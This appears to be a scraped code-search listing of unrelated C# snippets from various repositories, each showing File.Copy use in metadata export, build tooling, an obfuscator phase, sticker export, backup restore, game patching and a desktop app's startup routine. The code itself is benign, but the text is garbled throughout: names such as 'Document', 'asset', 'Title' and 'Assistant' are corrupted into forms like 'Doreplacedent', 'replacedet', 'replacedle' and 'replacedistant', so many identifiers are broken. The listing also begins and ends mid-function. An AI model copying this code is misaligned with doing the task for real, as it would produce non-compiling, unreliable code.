                        fileName.InnerText = replacedetData.file_name;
                        dataFile.AppendChild(fileName);

                        XmlElement checksum = metaDataDoreplacedent.CreateElement("checksum", metaDataDoreplacedent.DoreplacedentElement.NamespaceURI);
                        checksum.InnerText = replacedetData.checksum;
                        dataFile.AppendChild(checksum);

                        appPreview.AppendChild(dataFile);

                        XmlElement previewImageTime = metaDataDoreplacedent.CreateElement("preview_image_time", metaDataDoreplacedent.DoreplacedentElement.NamespaceURI);
                        previewImageTime.SetAttribute("format", "30/1:1/nonDrop");
                        previewImageTime.InnerText = replacedetData.preview_image_time;

                        appPreview.AppendChild(previewImageTime);

                        appPreviews.AppendChild(appPreview);
                    }
                    else if(replacedetData.fileExtension == ".png")
                    {
                        XmlElement screenshot = metaDataDoreplacedent.CreateElement("software_screenshot", metaDataDoreplacedent.DoreplacedentElement.NamespaceURI);
                        screenshot.SetAttribute("display_target", replacedetData.display_target);
                        screenshot.SetAttribute("position", replacedetData.position);

                        XmlElement size = metaDataDoreplacedent.CreateElement("size", metaDataDoreplacedent.DoreplacedentElement.NamespaceURI);
                        size.InnerText = replacedetData.size;
                        screenshot.AppendChild(size);

                        XmlElement fileName = metaDataDoreplacedent.CreateElement("file_name", metaDataDoreplacedent.DoreplacedentElement.NamespaceURI);
                        fileName.InnerText = replacedetData.file_name;
                        screenshot.AppendChild(fileName);

                        XmlElement checksum = metaDataDoreplacedent.CreateElement("checksum", metaDataDoreplacedent.DoreplacedentElement.NamespaceURI);
                        checksum.SetAttribute("type", "md5");
                        checksum.InnerText = replacedetData.checksum;
                        screenshot.AppendChild(checksum);

                        screenshots.AppendChild(screenshot);
                    }
                }

                metaDataDoreplacedent.Save(itmspFilePath + "/metadata.xml");
            }
        }

19 Source : ResourceTestBase.cs
with MIT License
from adrianoc

private void CopyFilesNextToGeneratedExecutable(string cecilifierRunnerPath, List<string> refsToCopy)
        {
            var targetPath = Path.GetDirectoryName(cecilifierRunnerPath);
            foreach (var fileToCopy in refsToCopy)
            {
                File.Copy(fileToCopy, Path.Combine(targetPath, Path.GetFileName(fileToCopy)), true);
            }

            var sourceRuntimeConfigJson = Path.ChangeExtension(GetType().replacedembly.Location, ".runtimeconfig.json");
            var targetRuntimeConfigJson = Path.ChangeExtension(cecilifierRunnerPath, ".runtimeconfig.json");

            File.Copy(sourceRuntimeConfigJson, targetRuntimeConfigJson, true);
        }

19 Source : SavePhase.cs
with GNU General Public License v3.0
from Aekras1a

protected override void Execute(ConfuserContext context, ProtectionParameters parameters)
        {
            var vr = context.Annotations.Get<Virtualizer>(context, Fish.VirtualizerKey);
            var merge = context.Annotations.Get<ModuleDef>(context, Fish.MergeKey);

            if(merge != null)
                return;

            var tmpDir = Path.GetTempPath();
            var outDir = Path.Combine(tmpDir, Path.GetRandomFileName());
            Directory.CreateDirectory(outDir);

            var rtPath = vr.SaveRuntime(outDir);
            if(context.Packer != null)
            {
#if DEBUG
                var protRtPath = rtPath;
#else
				var protRtPath = ProtectRT(context, rtPath);
#endif
                context.ExternalModules.Add(File.ReadAllBytes(protRtPath));
                foreach(var rule in context.Project.Rules)
                    rule.RemoveWhere(item => item.Id == Parent.Id);
            }
            else
            {
                outDir = Path.GetDirectoryName(rtPath);
                foreach(var file in Directory.GetFiles(outDir))
                {
                    var path = Path.Combine(context.OutputDirectory, Path.GetFileName(file));
                    Directory.CreateDirectory(Path.GetDirectoryName(path));
                    File.Copy(file, path, true);
                }
            }
        }

19 Source : Build.cs
with GNU General Public License v3.0
from Aetsu

public static string BuildTool(string solutionPath, string toolName)
        {
            string finalPath = string.Empty;
            string text = System.IO.File.ReadAllText(Path.Combine(new string[] { Directory.GetCurrentDirectory(), "Resources", "template_build.bat" }));
            string buildOptions = "/p:Platform=\"Any CPU\"";
            solutionPath = Path.Combine(new string[] { Directory.GetCurrentDirectory(), "GitTools", solutionPath });
            string outputDir = Path.Combine(new string[] { Directory.GetCurrentDirectory(), "Output" });
            if (File.Exists(solutionPath))
            {

                Console.ForegroundColor = ConsoleColor.Yellow;
                Console.WriteLine("     Solving dependences with nuget...");
                Console.ResetColor();
                if (Helpers.ExecuteCommand(@"Resources\nuget.exe restore " + solutionPath) != 0)
                {
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.WriteLine("         Error -> nuget.exe: {0}", solutionPath);
                    Console.ResetColor();
                }
                finalPath = Path.Combine(new string[] { outputDir, toolName + "_" + Helpers.GetRandomString() });

                text = text.Replace("{{SOLUTION_PATH}}", solutionPath);
                text = text.Replace("{{BUILD_OPTIONS}}", buildOptions);
                text = text.Replace("{{OUTPUT_DIR}}", finalPath);
                string batPath = Path.Combine(new string[] { Path.GetDirectoryName(solutionPath), "buildSolution.bat" });
                File.WriteAllText(batPath, text);
                Console.ForegroundColor = ConsoleColor.Yellow;
                Console.WriteLine("     Building solution...");
                Console.ResetColor();
                if (Helpers.ExecuteCommand(batPath) != 0)
                {
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.WriteLine("         Error -> msbuild.exe: {0}", solutionPath);
                    Console.ResetColor();
                }
                else
                {
                    Console.ForegroundColor = ConsoleColor.Green;
                    Console.WriteLine("         No errors!");
                    Console.ResetColor();
                }

                //Gets all references to the project to obfuscate it with confuser
                SolutionFile s = SolutionFile.Parse(solutionPath);
                foreach (ProjectInSolution p in s.ProjectsInOrder)
                {
                    if (File.Exists(p.AbsolutePath))
                    {
                        XNamespace msbuild = "http://schemas.microsoft.com/developer/msbuild/2003";
                        XDoreplacedent projDefinition = XDoreplacedent.Load(p.AbsolutePath);
                        IEnumerable<string> references = projDefinition
                            .Element(msbuild + "Project")
                            .Elements(msbuild + "ItemGroup")
                            .Elements(msbuild + "Reference")
                            .Elements(msbuild + "HintPath")
                            .Select(refElem => refElem.Value);
                        foreach (string reference in references)
                        {
                            string referenceFile = reference.Replace(@"..\", "");
                            if (File.Exists(Path.Combine(new string[] { Path.GetDirectoryName(solutionPath), referenceFile })))
                            {
                                File.Copy(
                                    Path.Combine(new string[] { Path.GetDirectoryName(solutionPath), referenceFile }),
                                    Path.Combine(new string[] { finalPath, Path.GetFileName(referenceFile) }),
                                    true);
                            }
                        }
                    }

                }
            }
            return finalPath;
        }

19 Source : IOHelper.cs
with Mozilla Public License 2.0
from agebullhu

public static void CopyPath(string srcPath, string destPath, string ext = "*.*", bool child = true, bool replace = false, params string[] excludes)
        {
            if (!Directory.Exists(srcPath))
            {
                return;
            }
            CheckPath(destPath);
            foreach (var ch in Directory.GetFiles(srcPath, ext))
            {
                if (excludes != null && excludes.Contains(Path.GetExtension(ch), StringComparer.OrdinalIgnoreCase))
                {
                    continue;
                }
                var ch2 = Path.Combine(destPath, Path.GetFileName(ch));
                if (replace || !File.Exists(ch2))
                {
                    File.Copy(ch, ch2, true);
                }
            }
            if (!child)
            {
                return;
            }
            foreach (var ch in Directory.GetDirectories(srcPath))
            {
                if (excludes != null && excludes.Contains(Path.GetFileName(ch), StringComparer.OrdinalIgnoreCase))
                {
                    continue;
                }
                CopyPath(ch, Path.Combine(destPath, Path.GetFileName(ch) ?? throw new InvalidOperationException()), ext, true, replace, excludes);
            }
        }

19 Source : StickersExport.cs
with MIT License
from agens-no

private static void ExportSticker(string pathToStickers, Sticker sticker, string pathToProject)
        {
            if (sticker == null || sticker.Frames[0] == null) return;

            var stickerTexture = sticker.Frames[0];

            var pathToSticker = pathToStickers + "/" + sticker.Name + ".sticker";

            if (Directory.Exists(pathToSticker))
            {
                Directory.Delete(pathToSticker, true);
            }

            Directory.CreateDirectory(pathToSticker);
            var unityreplacedetPath = pathToProject + "/" + replacedetDatabase.GetreplacedetPath(stickerTexture);

            var newFileName = sticker.Name;
            var fileExtension = Path.GetExtension(unityreplacedetPath);


            var json = CreateStickerContent(newFileName + fileExtension);
            Log("writing " + pathToSticker + "/Contents.json");
            json.WriteToFile(pathToSticker + "/Contents.json");

            var xcodereplacedetPath = pathToSticker + "/" + newFileName + fileExtension;

            var count = 0;
            while (File.Exists(xcodereplacedetPath))
            {
                xcodereplacedetPath = pathToSticker + "/" + newFileName + count.ToString() + fileExtension;
            }
            File.Copy(unityreplacedetPath, xcodereplacedetPath);
        }

19 Source : StickersExport.cs
with MIT License
from agens-no

private static void ExportStickerSequence(string pathToStickers, Sticker stickerSequence, string pathToProject)
        {
            var pathToSticker = pathToStickers + "/" + stickerSequence.Name + ".stickersequence";
            if (Directory.Exists(pathToSticker))
            {
                Directory.Delete(pathToSticker, true);
            }

            Directory.CreateDirectory(pathToSticker);

            var json = CreateStickerSequenceContent(stickerSequence);
            Log("writing " + pathToSticker + "/Contents.json");
            json.WriteToFile(pathToSticker + "/Contents.json");

            foreach (var frame in stickerSequence.Frames)
            {
                var oldPath = pathToProject + "/" + replacedetDatabase.GetreplacedetPath(frame);

                var fileName = pathToSticker + "/" + frame.name + ".png";
                File.Copy(oldPath, fileName);
            }
        }

19 Source : MainViewModel.cs
with MIT License
from ahmed-abdelrazek

public void DoRestoreBackup()
        {
            isBacking = true;
            try
            {
                var dlg = new OpenFileDialog
                {
                    replacedle = "اختار نسخه احتياطية لاسترجعها",
                    InitialDirectory = Properties.Settings.Default.BackUpsFolder,
                    Filter = "Backup file|*.bak",
                    CheckFileExists = true
                };
                if (dlg.ShowDialog() == true)
                {
                    ConnectionStringBuilder.ConnectionString = Properties.Settings.Default.LiteDbConnectionString;
                    File.Copy(dlg.FileName, ConnectionStringBuilder["Filename"].ToString(), true);
                    MessageBox.MaterialMessageBox.Show("تم استرجاع النسخه الاحتياطية بنجاح", "تمت العملية", true);
                }
            }
            catch (Exception ex)
            {
                Core.SaveException(ex);
            }
            finally
            {
                isBacking = false;
            }
        }

19 Source : addForm.cs
with MIT License
from ajohns6

private void addButton_Click(object sender, EventArgs e)
        {
            PAK pak = new PAK();

            pak.modName = this.nameText.Text;
            pak.modCreator = this.creatorText.Text;
            pak.modType = this.typeCombo.Text;
            pak.modDesc = this.descText.Text;
            pak.modFile = filename;
            pak.modDir = filename.Substring(0, filename.Length - 4);

            if (!Directory.Exists(Path.Combine(mainForm.pakDir, "~" + pak.modDir)))
            {
                Directory.CreateDirectory(Path.Combine(mainForm.pakDir, "~" + pak.modDir));
                File.Copy(this.fileText.Text, Path.Combine(mainForm.pakDir, "~" + pak.modDir, pak.modFile));
            }
            else
            {
                MessageBox.Show("A directory already exists for this PAK filename.\n\nIf you still wish to add this PAK file, you must either rename this PAK file or delete the existing directory.",
                    "Directory Already Exists",
                    MessageBoxButtons.OK,
                    MessageBoxIcon.Error);
                return;
            }

            string jsonString = File.ReadAllText(mainForm.localJSON);
            var list = JsonConvert.DeserializeObject<List<PAK>>(jsonString);
            list.Add(pak);
            var convertedJSON = JsonConvert.SerializeObject(list);
            File.WriteAllText(mainForm.localJSON, convertedJSON);

            this.Close();
        }

19 Source : Patcher.cs
with MIT License
from AkiniKites

public void InstallPatch(Patch patch)
        {
            if (!File.Exists(patch.PackedFile))
                throw new HzdException($"Patch file not found at: {patch.PackedFile}");
            if (!Directory.Exists(Configs.GamePackDir))
                throw new HzdException($"Pack directory not found at: {Configs.GamePackDir}");

            var dest = Path.Combine(Configs.GamePackDir, Path.GetFileName(patch.PackedFile));
            
            File.Copy(patch.PackedFile, dest, true);
        }

19 Source : Archiver.cs
with MIT License
from AkiniKites

public async Task GetLibrary()
        {
            var libPath = Path.Combine(IoC.Settings.GamePath, IoC.Config.ArchiverLib);
            if (!File.Exists(libPath))
                throw new HzdException($"Unable to find archiver support library in: {IoC.Settings.GamePath}");

            await Async.Run(() =>
            {
                OodleLZ.Unload();
                File.Copy(libPath, IoC.Config.ArchiverLib, true);
            });
        }

19 Source : Patch.cs
with MIT License
from AkiniKites

public void AddFile(string source, string filePath, bool overwrite = false)
        {
            var subPath = NormalizeSubPath(filePath);
            var path = Path.Combine(WorkingDir, subPath);

            if (!File.Exists(source))
                throw new PatchException($"File not found, cannot add to pack: {source}");
            if (Files.Contains(subPath) && !overwrite)
                throw new PatchException($"File already exists in pack: {subPath}");

            Paths.CheckDirectory(Path.GetDirectoryName(path));
            File.Copy(source, path, true);

            Files.Add(subPath);
        }

19 Source : PipelineTool.cs
with MIT License
from Alan-FGR

protected override void ImportHighLevel(Dictionary<string, string> correspondents, List<string> orphans)
         {
            foreach (var pair in correspondents)
            {
               Dbg.Write($"copying {pair.Key} into {pair.Value}");
               File.Copy(pair.Key, pair.Value, true);
            }
            DeleteAllFiles(orphans);
            
            string code = GenerateClreplacedCodeForTypedreplacedet(correspondents.Values.ToArray());
            File.WriteAllText(Path.Combine(DirectoryWidget.GetPathOf(OUTCD), Id+".cs"), code);
         }

19 Source : PipelineTool.cs
with MIT License
from Alan-FGR

protected override void ImportHighLevel(Dictionary<string, string> correspondents, List<string> orphans)
         {
            foreach (var pair in correspondents)
            {
               Dbg.Write($"copying {pair.Key} into {pair.Value}");
               File.Copy(pair.Key, pair.Value, true);
            }
            DeleteAllFiles(orphans);

            string outcode = GenerateClreplacedCodeForFileList(correspondents.Values.ToArray());
            File.WriteAllText(Path.Combine(DirectoryWidget.GetPathOf(OUTCD), Id+".cs"), outcode);
         }

19 Source : MainProgram.cs
with MIT License
from AlbertMN

[PermissionSet(SecurityAction.Demand, Name = "FullTrust")]
        [STAThread]
        static void Main(string[] args) {
            Console.WriteLine("Log location; " + logFilePath);
            CheckSettings();

            var config = new NLog.Config.LoggingConfiguration();
            var logfile = new NLog.Targets.FileTarget("logfile") { FileName = logFilePath };
            var logconsole = new NLog.Targets.ConsoleTarget("logconsole");
            config.AddRule(LogLevel.Info, LogLevel.Fatal, logconsole);
            config.AddRule(LogLevel.Debug, LogLevel.Fatal, logfile);
            NLog.LogManager.Configuration = config;

            void ActualMain() {
                AppDomain.CurrentDomain.UnhandledException += new UnhandledExceptionEventHandler(CurrentDomain_UnhandledException);

                //Upgrade settings
                if (Properties.Settings.Default.UpdateSettings) {
                    /* Copy old setting-files in case the Evidence type and Evidence Hash has changed (which it does sometimes) - easier than creating a whole new settings system */
                    try {
                        Configuration accConfiguration = ConfigurationManager.OpenExeConfiguration(ConfigurationUserLevel.PerUserRoamingAndLocal);
                        string currentFolder = new DirectoryInfo(accConfiguration.FilePath).Parent.Parent.FullName;
                        string[] directories = Directory.GetDirectories(new DirectoryInfo(currentFolder).Parent.FullName);

                        foreach (string dir in directories) {
                            if (dir != currentFolder.ToString()) {
                                var directoriesInDir = Directory.GetDirectories(dir);
                                foreach (string childDir in directoriesInDir) {
                                    string checkPath = Path.Combine(currentFolder, Path.GetFileName(childDir));
                                    if (!Directory.Exists(checkPath)) {
                                        string checkFile = Path.Combine(childDir, "user.config");
                                        if (File.Exists(checkFile)) {
                                            bool xmlHasError = false;
                                            try {
                                                XmlDoreplacedent xml = new XmlDoreplacedent();
                                                xml.Load(checkFile);

                                                xml.Validate(null);
                                            } catch {
                                                xmlHasError = true;
                                                DoDebug("XML doreplacedent validation failed (is invalid): " + checkFile);
                                            }

                                            if (!xmlHasError) {
                                                Directory.CreateDirectory(checkPath);
                                                File.Copy(checkFile, Path.Combine(checkPath, "user.config"), true);
                                            }
                                        }
                                    }
                                }
                            }
                        }
                    } catch (Exception e) {
                        Console.WriteLine("Error getting settings from older versions of ACC; " + e.Message);
                    }
                    /* End "copy settings" */

                    try {
                        Properties.Settings.Default.Upgrade();
                        Properties.Settings.Default.UpdateSettings = false;
                        Properties.Settings.Default.Save();
                    } catch {
                        DoDebug("Failed to upgrade from old settings file.");
                    }

                    Console.WriteLine("Upgraded settings to match last version");
                }

                if (Properties.Settings.Default.LastUpdated == DateTime.MinValue) {
                    Properties.Settings.Default.LastUpdated = DateTime.Now;
                }

                //Create action mod path
                if (!Directory.Exists(actionModsPath)) {
                    Directory.CreateDirectory(actionModsPath);
                }

                //Translator
                string tempDir = Path.Combine(currentLocation, "Translations");
                if (Directory.Exists(tempDir)) {
                    Translator.translationFolder = Path.Combine(currentLocation, "Translations");
                    Translator.languagesArray = Translator.GetLanguages();
                } else {
                    MessageBox.Show("Missing the translations folder. Reinstall the software to fix this issue.", messageBoxreplacedle);
                }

                string lang = Properties.Settings.Default.ActiveLanguage;
                if (Array.Exists(Translator.languagesArray, element => element == lang)) {
                    DoDebug("ACC running with language \"" + lang + "\"");

                    Translator.SetLanguage(lang);
                } else {
                    DoDebug("Invalid language chosen (" + lang + ")");

                    Properties.Settings.Default.ActiveLanguage = "English";
                    Translator.SetLanguage("English");
                }
                //End translator
                sysIcon = new SysTrayIcon();

                Properties.Settings.Default.TimesOpened += 1;
                Properties.Settings.Default.Save();

                SetupDataFolder();
                if (File.Exists(logFilePath)) {
                    try {
                        File.WriteAllText(logFilePath, string.Empty);
                    } catch {
                        // Don't let this being DENIED crash the software
                        Console.WriteLine("Failed to empty the log");
                    }
                } else {
                    Console.WriteLine("Trying to create log");
                    CreateLogFile();
                }

                //Check if software already runs, if so kill this instance
                var otherACCs = Process.GetProcessesByName(Path.GetFileNameWithoutExtension(currentLocationFull));
                if (otherACCs.Length > 1) {
                    //Try kill the _other_ process instead
                    foreach (Process p in otherACCs) {
                        if (p.Id != Process.GetCurrentProcess().Id) {
                            try {
                                p.Kill();
                                DoDebug("Other ACC instance was running. Killed it.");
                            } catch {
                                DoDebug("Could not kill other process of ACC; access denied");
                            }
                        }
                    }
                }

                Application.EnableVisualStyles();

                DoDebug("[ACC begun (v" + softwareVersion + ")]");

                if (Properties.Settings.Default.CheckForUpdates) {
                    if (HasInternet()) {
                        new Thread(() => {
                            new SoftwareUpdater().Check();
                        }).Start();
                    } else {
                        DoDebug("Couldn't check for new update as PC does not have access to the internet");
                    }
                }

                //On console close: hide NotifyIcon
                Application.ApplicationExit += new EventHandler(OnApplicationExit);
                handler = new ConsoleEventDelegate(ConsoleEventCallback);
                SetConsoleCtrlHandler(handler, true);

                //Create shortcut folder if doesn't exist
                if (!Directory.Exists(shortcutLocation)) {
                    Directory.CreateDirectory(shortcutLocation);
                }
                if (!File.Exists(Path.Combine(shortcutLocation, @"example.txt"))) {
                    //Create example-file
                    try {
                        using (StreamWriter sw = File.CreateText(Path.Combine(shortcutLocation, @"example.txt"))) {
                            sw.WriteLine("This is an example file.");
                            sw.WriteLine("If you haven't already, make your replacedistant open this file!");
                        }
                    } catch {
                        DoDebug("Could not create or write to example file");
                    }
                }

                //Delete all old action files
                if (Directory.Exists(CheckPath())) {
                    DoDebug("Deleting all files in action folder");
                    foreach (string file in Directory.GetFiles(CheckPath(), "*." + Properties.Settings.Default.ActionFileExtension)) {
                        int timeout = 0;

                        if (File.Exists(file)) {
                            while (ActionChecker.FileInUse(file) && timeout < 5) {
                                timeout++;
                                Thread.Sleep(500);
                            }
                            if (timeout >= 5) {
                                DoDebug("Failed to delete file at " + file + " as file appears to be in use (and has been for 2.5 seconds)");
                            } else {
                                try {
                                    File.Delete(file);
                                } catch (Exception e) {
                                    DoDebug("Failed to delete file at " + file + "; " + e.Message);
                                }
                            }
                        }
                    }
                    DoDebug("Old action files removed - moving on...");
                }

                //SetupListener();
                watcher = new FileSystemWatcher() {
                    Path = CheckPath(),
                    NotifyFilter = NotifyFilters.LastAccess | NotifyFilters.LastWrite
                                        | NotifyFilters.FileName | NotifyFilters.DirectoryName,
                    Filter = "*." + Properties.Settings.Default.ActionFileExtension,
                    EnableRaisingEvents = true
                };
                watcher.Changed += new FileSystemEventHandler(new ActionChecker().FileFound);
                watcher.Created += new FileSystemEventHandler(new ActionChecker().FileFound);
                watcher.Renamed += new RenamedEventHandler(new ActionChecker().FileFound);
                watcher.Deleted += new FileSystemEventHandler(new ActionChecker().FileFound);
                watcher.Error += delegate { DoDebug("Something wen't wrong"); };

                DoDebug("\n[" + messageBoxreplacedle + "] Initiated. \nListening in: \"" + CheckPath() + "\" for \"." + Properties.Settings.Default.ActionFileExtension + "\" extensions");

                sysIcon.TrayIcon.Icon = Properties.Resources.ACC_icon_light;

                RegistryKey key = Registry.CurrentUser.OpenSubKey("Software", true);
                if (Registry.GetValue(key.Name + @"\replacedistantComputerControl", "FirstTime", null) == null) {
                    SetStartup(true);

                    key.CreateSubKey("replacedistantComputerControl");
                    key = key.OpenSubKey("replacedistantComputerControl", true);
                    key.SetValue("FirstTime", false);

                    ShowGettingStarted();

                    DoDebug("Starting setup guide (first time opening ACC - wuhu!)");
                } else {
                    if (!Properties.Settings.Default.HasCompletedTutorial) {
                        ShowGettingStarted();
                        DoDebug("Didn't finish setup guide last time, opening again");
                    }
                }
                SetRegKey("ActionFolder", CheckPath());
                SetRegKey("ActionExtension", Properties.Settings.Default.ActionFileExtension);

                testActionWindow = new TestActionWindow();

                //If newly updated
                if (Properties.Settings.Default.LastKnownVersion != softwareVersion) {
                    //Up(or down)-grade, display version notes
                    DoDebug("ACC has been updated");

                    if (Properties.Settings.Default.LastKnownVersion != "" && new System.Version(Properties.Settings.Default.LastKnownVersion) < new System.Version("1.4.3")) {
                        //Had issues before; fixed now
                        DoDebug("Upgraded to 1.4.3, fixed startup - now starting with Windows");

                        try {
                            RegistryKey rk = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                            rk.DeleteValue(appName, false);
                        } catch {
                            DoDebug("Failed to remove old start with win run");
                        }

                        SetStartup(true);
                    } else {
                        if (ACCStartsWithWindows()) {
                            SetStartup(true);
                        }
                    }

                    Properties.Settings.Default.LastUpdated = DateTime.Now;
                    if (gettingStarted != null) {
                        DoDebug("'AboutVersion' window awaits, as 'Getting Started' is showing");
                        aboutVersionAwaiting = true;
                    } else {
                        Properties.Settings.Default.LastKnownVersion = softwareVersion;
                        new NewVersion().Show();
                    }
                    Properties.Settings.Default.Save();
                }

                //Check if software starts with Windows
                if (!ACCStartsWithWindows())
                    sysIcon.AddOpenOnStartupMenu();

                /* 'Evalufied' user feedback implementation */
                if ((DateTime.Now - Properties.Settings.Default.LastUpdated).TotalDays >= 7 && Properties.Settings.Default.TimesOpened >= 7
                    && gettingStarted == null
                    && !Properties.Settings.Default.HasPromptedFeedback) {
                    //User has had the software/update for at least 7 days, and has opened the software more than 7 times - time to ask for feedback
                    //(also the "getting started" window is not showing)
                    if (HasInternet()) {
                        try {
                            WebRequest request = WebRequest.Create("https://evalufied.dk/");
                            HttpWebResponse response = (HttpWebResponse)request.GetResponse();
                            if (response == null || response.StatusCode != HttpStatusCode.OK) {
                                DoDebug("'Evalufied' is down - won't show faulty feedback window");
                            } else {
                                DoDebug("Showing 'User Feedback' window");
                                Properties.Settings.Default.HasPromptedFeedback = true;
                                Properties.Settings.Default.Save();
                                new UserFeedback().Show();
                            }
                        } catch {
                            DoDebug("Failed to check for 'Evalufied'-availability");
                        }
                    } else {
                        DoDebug("No internet connection, not showing user feedback window");
                    }
                }

                //Action mods implementation
                ActionMods.CheckMods();
                TaskSchedulerSetup();

                hreplacedtarted = true;
                SystemEvents.SessionSwitch += new SessionSwitchEventHandler(SystemEvents_SessionSwitch); //On wake up from sleep

                Application.Run();
            }

            if (sentryToken != "super_secret") {
                //Tracking issues with Sentry.IO - not forked from GitHub (official version)
                bool sentryOK = false;
                try {
                    if (Properties.Settings.Default.UID != "") {
                        Properties.Settings.Default.UID = Guid.NewGuid().ToString();
                        Properties.Settings.Default.Save();
                    }

                    if (Properties.Settings.Default.UID != "") {
                        SentrySdk.ConfigureScope(scope => {
                            scope.User = new Sentry.Protocol.User {
                                Id = Properties.Settings.Default.UID
                            };
                        });
                    }

                    using (SentrySdk.Init(sentryToken)) {
                        sentryOK = true;
                    }
                } catch {
                    //Sentry failed. Error sentry's side or invalid key - don't let this stop the app from running
                    DoDebug("Sentry initiation failed");
                    ActualMain();
                }

                if (sentryOK) {
                    try {
                        using (SentrySdk.Init(sentryToken)) {
                            DoDebug("Sentry initiated");
                            ActualMain();
                        }
                    } catch {
                        ActualMain();
                    }
                }
            } else {
                //Code is (most likely) forked - skip issue tracking
                ActualMain();
            }
        }

19 Source : BuildPostProcessor.cs
with MIT License
from aleab

[PostProcessBuild(1)]
        public static void OnPostprocessBuild(BuildTarget target, string pathToBuiltProject)
        {
            // Only Windows x86 and x86_64 atm.
            if (target != BuildTarget.StandaloneWindows && target != BuildTarget.StandaloneWindows64)
                return;

            ////////////////////////////////////////////////////////////////
            // COPY EVERY FILE IN THE PLUGIN DIRECTORY TO THE BUILD PATH. //
            ////////////////////////////////////////////////////////////////

            // Get the source directory (replacedets/Plugins or replacedets/Plugins/x86 or replacedets/Plugins/x86_64).
            string srcPluginsFolder = string.Format("{0}/{1}", Application.dataPath, "Plugins");
            switch (target)
            {
                case BuildTarget.StandaloneWindows:
                    if (Directory.Exists(srcPluginsFolder + "/x86"))
                        srcPluginsFolder += "/x86";
                    break;

                case BuildTarget.StandaloneWindows64:
                    if (Directory.Exists(srcPluginsFolder + "/x86_64"))
                        srcPluginsFolder += "/x86_64";
                    break;

                default:
                    break;
            }

            // Get the destination directory (<BUILT_EXE_PATH>/<EXE_NAME>_Data/Plugins).
            int splitIndex = pathToBuiltProject.LastIndexOf('/');
            string buildPath = pathToBuiltProject.Substring(0, splitIndex);
            string executableName = pathToBuiltProject.Substring(splitIndex + 1);
            string buildPluginsPath = string.Format("{0}/{1}_Data/Plugins", buildPath, Path.GetFileNameWithoutExtension(executableName));

            DirectoryInfo srcPluginsFolderInfo = new DirectoryInfo(srcPluginsFolder);
            DirectoryInfo buildPluginsPathInfo = new DirectoryInfo(buildPluginsPath);

            // Exclude some files (.dlls should already be there!)
            var srcPluginsFolderFiles = srcPluginsFolderInfo.GetFiles("*.*", SearchOption.TopDirectoryOnly)
                                                            .Where(fi => !fi.Name.EndsWith(".meta") && !fi.Name.EndsWith(".dll") &&
                                                                         !fi.Name.EndsWith(".pdb") && !fi.Name.EndsWith(".lib") &&
                                                                         !fi.Name.EndsWith(".mdb") && !fi.Name.EndsWith(".xml"));
            var srcPluginsFolderDirectories = srcPluginsFolderInfo.GetDirectories();

            // Copy selected files and sub-directories.
            foreach (var dir in srcPluginsFolderDirectories)
                DirectoryCopy(dir.FullName, string.Format("{0}/{1}", buildPluginsPathInfo.FullName, dir.Name), true);
            foreach (var file in srcPluginsFolderFiles)
                File.Copy(file.FullName, string.Format("{0}/{1}", buildPluginsPathInfo.FullName, file.Name), false);
        }

19 Source : ExperimentDataExportController.cs
with MIT License
from AlexanderFroemmgen

[HttpPost("{id}/exportNotebook/{force}")]
        public IActionResult ExportJupyterNotebookFiles(int id, bool force)
        {
            var experiment = _context.Experiments.Single(s => s.Id == id);

            if (experiment == null)
            {
                return NotFound();
            }
            
            var metadata = GetResultMetaData(id) as JsonResult;

            if (metadata == null)
            {
                return NotFound();
            }

            var fileName = $"sim{id:0000}";
            var exportDir = Path.Combine(_env.ContentRootPath, _options.JupyterNotebookExportPath, fileName);

            if(System.IO.File.Exists(Path.Combine(exportDir, Path.GetFileName(_options.JupyterNotebookBaseFile))) && !force)
            {
                return new ObjectResult(new { ExportDir = exportDir, FileName = fileName, Message = "File Exists" });
            }

            Directory.CreateDirectory(exportDir);
            System.IO.File.Copy(
                Path.Combine(_env.ContentRootPath, _options.JupyterNotebookBaseFile), 
                Path.Combine(exportDir, Path.GetFileName(_options.JupyterNotebookBaseFile)), 
                true);

            GetResultDataCSVExport(id, Path.Combine(exportDir, "data.csv"));
            System.IO.File.WriteAllText(Path.Combine(exportDir, "metadata.json"), JsonConvert.SerializeObject(metadata.Value));

            return new ObjectResult(new { ExportDir = exportDir, FileName = fileName });
        }

19 Source : GroupContentsControlViewModel.cs
with GNU General Public License v3.0
from alexdillon

private void ShowFileSendDialog(string fileName)
        {
            FileStream fileStream = null;
            try
            {
                fileStream = File.Open(fileName, FileMode.Open, FileAccess.Read, FileShare.ReadWrite);
            }
            catch (Exception)
            {
                try
                {
                    // When many files hosted on OneDrive are opened, they are hardlocked
                    // and cannot be opened for reading. Copying them to tmp typically is allowed though.
                    var tempFile = TempFileUtils.GetTempFileName(fileName);
                    File.Copy(fileName, tempFile, true);
                    fileStream = File.Open(tempFile, FileMode.Open, FileAccess.Read, FileShare.ReadWrite);

                    // The copied file will automatically be cleaned up by the temporary storage system.
                }
                catch (Exception)
                {
                }
            }

            var dialog = new SendFileControlViewModel()
            {
                ContentStream = fileStream,
                FileName = Path.GetFileName(fileName),
                MessageContainer = this.MessageContainer,
                TypedMessageContents = this.TypedMessageContents,
                SendMessage = new AsyncRelayCommand<List<Attachment>>(this.SendContentMessageAsync, (a) => !this.IsSending),
            };

            this.SmallDialogManager.OpenPopup(dialog, Guid.Empty);
        }

19 Source : LicenseManagerWindow.cs
with Apache License 2.0
from Algoryx

private void ActivateLicenseGUI()
    {
      GUILayout.Label( GUI.MakeLabel( "Activate license", true ), InspectorEditor.Skin.Label );
      var selectLicenseRect    = GUILayoutUtility.GetLastRect();
      selectLicenseRect.x     += selectLicenseRect.width;
      selectLicenseRect.width  = 28;
      selectLicenseRect.x     -= selectLicenseRect.width;
      selectLicenseRect.y     -= EditorGUIUtility.standardVerticalSpacing;
      var selectLicensePressed = InspectorGUI.Button( selectLicenseRect,
                                                      MiscIcon.Locate,
                                                      UnityEngine.GUI.enabled,
                                                      "Select license file on this computer",
                                                      1.25f );
      if ( selectLicensePressed ) {
        var sourceLicense = EditorUtility.OpenFilePanel( "Copy AGX Dynamics license file",
                                                         ".",
                                                         $"{AGXUnity.LicenseManager.GetLicenseExtension( AGXUnity.LicenseInfo.LicenseType.Service ).Remove( 0, 1 )}," +
                                                         $"{AGXUnity.LicenseManager.GetLicenseExtension( AGXUnity.LicenseInfo.LicenseType.Legacy ).Remove( 0, 1 )}" );
        if ( !string.IsNullOrEmpty( sourceLicense ) ) {
